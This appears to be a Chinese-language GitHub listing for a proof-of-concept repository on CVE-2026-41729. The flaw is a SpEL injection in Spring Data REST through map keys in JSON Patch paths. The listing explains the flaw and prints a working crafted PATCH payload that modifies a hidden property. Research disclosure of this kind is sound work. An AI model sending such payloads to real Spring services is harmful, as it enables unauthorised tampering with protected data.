daehyuh/CVE-2026-41729
GitHub: daehyuh/CVE-2026-41729
该项目是 Spring Data REST SpEL 表达式注入漏洞 CVE-2026-41729 的最小化概念验证程序,演示了通过 JSON Patch 请求中的 Map Key 绕过转义并修改隐藏属性。
Stars: 0 | Forks: 0
# CVE-2026-41729:通过 JSON Patch 中的 Map Key 进行 Spring Data REST SpEL 注入
此仓库包含了一个最小化的 Java/Spring Boot 复现程序,用于
CVE-2026-41729,这是一个涉及通过 JSON Patch 请求中的 map keys 进行 SpEL
表达式注入的高严重性 Spring Data REST 漏洞。
官方公告:https://spring.io/security/cve-2026-41729/
## 状态
已发布的 CVE 复现程序。
该问题由 Daehyun Kang (@daehyuh) 发现并负责任地报告。
此示例启动了一个真实的带有 Spring Data REST 的 Spring Boot 应用程序,暴露了一个 repository endpoint,并向该 endpoint 发送 HTTP `PATCH` 请求。它不需要 Docker、数据库服务器、消息代理、凭据或任何外部服务。
## 示例所涉及的受影响组件
- 项目:Spring Data REST
- Maven 包:`org.springframework.data:spring-data-rest-webmvc`
- 此示例解析的版本:`4.5.11`
- Spring Boot parent:`3.5.14`
- 相关的 Spring 代码路径:`org.springframework.data.rest.webmvc.json.patch.SpelPath`
## 漏洞概述
Spring Data REST 在处理针对 map 类型属性的 JSON
Patch (`application/json-patch+json`) 请求时,存在 SpEL 表达式注入漏洞。
当持久化实体暴露了一个 `Map` 类型的属性时,作为 map key 的 JSON Pointer path
片段可能会被嵌入到生成的 SpEL 表达式中。精心构造的 map key 可以跳出预期的 map-key 字面量,并作为属性路径继续进行解析。
此示例演示了精心构造的 JSON Patch path 是如何修改未通过常规 REST 表示暴露的属性的。
## 运行示例
Windows:
```
.\mvnw.cmd test
```
macOS/Linux:
```
./mvnw test
```
预期的漏洞运行结果:
```
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
```
## 示例演示内容
domain object 包含一个可见的 `people` map。每个 `Person` 还包含一个 `hiddenChildren` map,该 map 使用 `@JsonIgnore` 对 Spring Data REST/Jackson 隐藏。
测试验证了正常的 REST 表示不会暴露 `hiddenChildren` 或隐藏值。
然后,测试向 Spring Data REST repository endpoint 发送直接的 JSON Patch 请求:
```
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
```
该直接的隐藏属性路径被拒绝,并且隐藏值保持为 `before`。
然后,测试发送一个精心构造的 map-key JSON Patch path:
```
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
```
观察到的漏洞行为:请求成功,并将隐藏值从 `before` 更改为 `after`。
测试还验证了该 map 不包含名为 `a'].hiddenChildren['b` 的字面量 key,因此该更改是由表达式突破引起的,而不是正常的 map-key 行为。
## 为什么这会触发 Spring Data REST 代码
特定于应用程序的类仅提供了一个最小的 object graph 和 repository,以便 Spring Data REST 可以处理真实的 HTTP JSON Patch 请求。它们不解析 JSON Patch path,也不计算表达式。
相关行为发生在 Spring Data REST 将 JSON Patch path 转换为 SpEL path 时。对于以字符串为 key 的 map,原始 path 片段作为带引号的字符串嵌入到生成的 SpEL indexer 中,而没有事先对该片段进行转义。因此,map key 片段中的单引号可以跳出预期的 map-key 字面量,并作为属性路径继续执行。
## 参考
- Spring 公告:https://spring.io/security/cve-2026-41729/
标签:CISA项目, CVE-2026-41729, JS文件枚举, Maven, PoC, SpEL注入, Spring Data REST, 域名枚举, 暴力破解, 漏洞验证